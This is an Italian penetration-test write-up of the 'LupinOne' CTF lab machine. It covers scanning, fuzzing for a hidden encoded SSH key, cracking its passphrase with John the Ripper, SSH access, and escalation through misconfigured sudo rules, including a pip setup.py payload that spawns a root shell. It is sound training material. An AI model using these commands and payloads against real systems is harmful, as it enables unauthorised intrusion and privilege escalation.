Penetration Testing Report: LupinOne Box

1. Introduzione

Il presente report mostra la documentazione di un'attività di Penetration Testing condotta su una macchina target (CTF boot2root denominata "LupinOne"). L'obiettivo dell'analisi è identificare e sfruttare le vulnerabilità presenti sulla superficie di attacco del sistema, partendo da una fase di ricognizione fino ad arrivare all'ottenimento dei massimi privilegi amministrativi (Root), documentando ogni passaggio e tool utilizzato.

2. Sintesi

L'attività è stata condotta in un ambiente di rete locale virtualizzato. La fase iniziale ha previsto l'individuazione dell'indirizzo IP del target tramite tecniche di network discovery, seguita da un'analisi approfondita dei servizi esposti. La vulnerabilità principale è scaturita da un'inadeguata protezione delle directory del web server, che ha permesso di esfiltrare una chiave privata SSH offuscata. Attraverso il cracking della passphrase e l'accesso iniziale come utente a bassi privilegi, l'attacco si è concluso con due passaggi di Privilege Escalation (da icex64 ad arsene, e infine a root), sfruttando configurazioni errate nei permessi sudo relativi a script Python e al gestore di pacchetti pip.

3. Information Gathering e Scanning

L'attività ha avuto inizio con la scansione della rete locale (subnet 192.168.56.0/24) per identificare l'indirizzo IP assegnato dinamicamente alla macchina target.

3.1 Identificazione Target
nmap -sn 192.168.56.0/24 Il target è stato individuato all'indirizzo IP: **192.168.56.111**.

3.2 Scansione Aggressiva di Porte e Servizi: È stata eseguita una scansione mirata sulle prime 200 porte per rilevare servizi, versioni e il Sistema Operativo.

nmap -A --top-ports 200 192.168.56.111

Risultati rilevanti:

- Porta **22/tcp**: Servizio SSH attivo.
- Porta **80/tcp**: Servizio HTTP attivo.
- Directory individuate dallo script nmap: /robots.txt e /~myfiles.

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 ed:ea:d9:d3:af:19:9c:8e:4e:0f:31:db:f2:5d:12:79 (RSA)
|   256 bf:9f:a9:93:c5:87:21:a3:6b:6f:9e:e6:87:61:f5:19 (ECDSA)
|_  256 ac:18:ec:cc:35:c0:51:f5:6f:47:74:c3:01:95:b4:0f (ED25519)
80/tcp open  http    Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/~myfiles
```

4. Web Enumeration

Individuato il web server, si è proceduto all'analisi manuale e automatizzata per scoprire vettori di attacco.

4.1 Analisi manuale:

- Navigando su http://192.168.56.111 è stata visualizzata un'immagine. L'analisi del codice sorgente (Ctrl+U) non ha rivelato commenti o informazioni sensibili.
- L'analisi del file http://192.168.56.111/robots.txt ha mostrato una direttiva Disallow per la directory /~myfiles.
- La navigazione in http://192.168.56.111/~myfiles/ non ha fornito alcun file o indizio utile.

```
 1 <!DOCTYPE html>
 2 <html>
 3 <head>
 4 <style>
 5 body {
 6   margin: 0;
 7 }
 8
 9 #over img {
10   margin-left: auto;
11   margin-right: auto;
12   display: block;
13 }
14 </style>
15 </head>
16
17 <body>
18
19 <div id="over" style="position:absolute; width:100%; height:100%">
20   <img src="/image/arsene_lupin.jpg">
21 </div>
22
23 </body>
24 </html>
25
26 <!-- Its an easy box, dont give up. -->
27
28
```

```
 1 <!DOCTYPE html>
 2 <html>
 3 <head>
 4 <title>Error 404</title>
 5 </head>
 6 <body>
 7
 8 <h1>Error 404</h1>
 9
10 </body>
11 </html>
12
13 <!-- Your can do it, keep trying. -->
14
15
```

4.2 Directory Bruteforcing

4.2.1 Gobuster

Si è deciso di utilizzare gobuster per individuare directory nascoste.

gobuster dir -u http://192.168.56.111/ -w /usr/share/wordlists/dirb/common.txt

Risultato: Nessuna directory compromettente trovata.

```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.56.111/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.111/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta                 (Status: 403) [Size: 279]
.htaccess            (Status: 403) [Size: 279]
.htpasswd            (Status: 403) [Size: 279]
image                (Status: 301) [Size: 316] [--> http://192.168.56.111/image/]
index.html           (Status: 200) [Size: 333]
javascript           (Status: 301) [Size: 321] [--> http://192.168.56.111/javascript/]
manual               (Status: 301) [Size: 317] [--> http://192.168.56.111/manual/]
robots.txt           (Status: 200) [Size: 34]
server-status        (Status: 403) [Size: 279]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
```

4.2.2 Fuzzing Avanzato con FFUF

Utilizzando ffuf con una wordlist più corposa (big.txt), si è eseguito un fuzzing mirato sulle directory utente (~FUZZ).

ffuf -u http://192.168.56.111/~FUZZ -w /usr/share/wordlists/dirb/big.txt

Risultato: Trovata la directory nascosta **~secret**.

```
┌──(kali㉿kali)-[~]
└─$ ffuf -u http://192.168.56.111/~FUZZ -w /usr/share/wordlists/dirb/big.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.56.111/~FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

myfiles                 [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 5ms]
secret                  [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 1ms]
:: Progress: [20469/20469] :: Job [1/1] :: 8000 req/sec :: Duration: [0:00:02] :: Errors: 0 ::
```

4.2.2.1 Analisi di ~secret e Fuzzing di file nascosti:

- Visitando http://192.168.56.111/~secret/, un messaggio ha rivelato il nome di un potenziale utente di sistema, **icex64**, e la presenza di una chiave privata SSH nascosta nella directory.
- Eseguendo un ulteriore fuzzing per individuare file nascosti con estensione .txt:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.56.111/~secret/.FUZZ -c -ic -fc 403,404 -e .txt
Risultato: Individuato il file **.mysecret.txt**.
Navigando su questo file, è stata recuperata la chiave privata SSH, codificata in formato **Base58**.

5. Exploitation (Accesso Iniziale)

Recuperata la chiave privata offuscata, si è passati alla fase di decodifica e accesso al sistema.

- **Decodifica e preparazione della chiave:** La stringa è stata decodificata utilizzando il tool *CyberChef*. Il testo in chiaro risultante (una tipica chiave RSA) è stato incollato in un file locale.
  nano private_key

Impostazione di permessi restrittivi, necessari per impedire che il client SSH rifiuti la chiave:
chmod 600 private_key

- **Cracking della Passphrase SSH:** La chiave privata richiedeva una passphrase. È stato generato un hash compatibile per John the Ripper.

ssh2john private_key > hash_lupin.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash_lupin.txt
Risultato: Passphrase craccata con successo: **P@55w0rd!**

- **Accesso SSH:** Utilizzando l'utente precedentemente scoperto e la chiave sbloccata:

ssh icex64@192.168.56.111 -i private_key
Inserita la passphrase P@55w0rd!, l'accesso è andato a buon fine.

6. Post-Exploitation e Privilege Escalation

Una volta ottenuto l'accesso iniziale alla macchina target, è stata avviata l'analisi interna per l'escalation dei privilegi.

6.1 Recupero User Flag

cat user.txt

6.2 Movimento Laterale (Utente arsene)

Verificando i comandi eseguibili con permessi elevati tramite il comando sudo -l, si è riscontrato che l'utente icex64 poteva eseguire uno script specifico come utente arsene senza password:

```
icex64@LupinOne:~$ sudo -l
Matching Defaults entries for icex64 on LupinOne:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User icex64 may run the following commands on LupinOne:
    (arsene) NOPASSWD: /usr/bin/python3.9 /home/arsene/heist.py
```

sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

Sfruttando questo permesso (o intercettando le librerie caricate dallo script in caso di Python Hijacking, non dettagliato ma implicito nel cambio utente), si è ottenuta la shell come utente arsene@LupinOne.

6.3 Escalation a Root

Verificando nuovamente le configurazioni di sudo per l'utente arsene, si è scoperto l'accesso al binario /usr/bin/pip con privilegi di root. La vulnerabilità risiede nella capacità di pip di eseguire codice arbitrario durante l'installazione di pacchetti da directory locali (metodo setup.py).

- **Creazione directory e payload malevolo:**
  TF=$(mktemp -d)
  echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

- **Esecuzione di pip con privilegi sudo:**
  sudo /usr/bin/pip install $TF

- **Conferma dei permessi e Root Flag:** L'installazione tramite pip ha eseguito il codice Python forzando l'apertura di una shell di root nel terminale corrente.

whoami root
cat /root/root.txt

7. Conclusioni

L'attacco simulato ha avuto pieno successo, portando alla compromissione totale della macchina target in due macro-fasi distinte. Nella prima fase, la scarsa sicurezza delle directory web ha esposto dati altamente sensibili (la chiave privata codificata). Nella seconda fase, la Privilege Escalation è stata garantita dallo sfruttamento di permessi sudo troppo permissivi (o mal configurati) assegnati a binari legittimi come python3.9 e pip. L'accesso root garantisce all'attaccante il controllo assoluto del sistema senza bisogno di sfruttare exploit a livello kernel o software non patchato.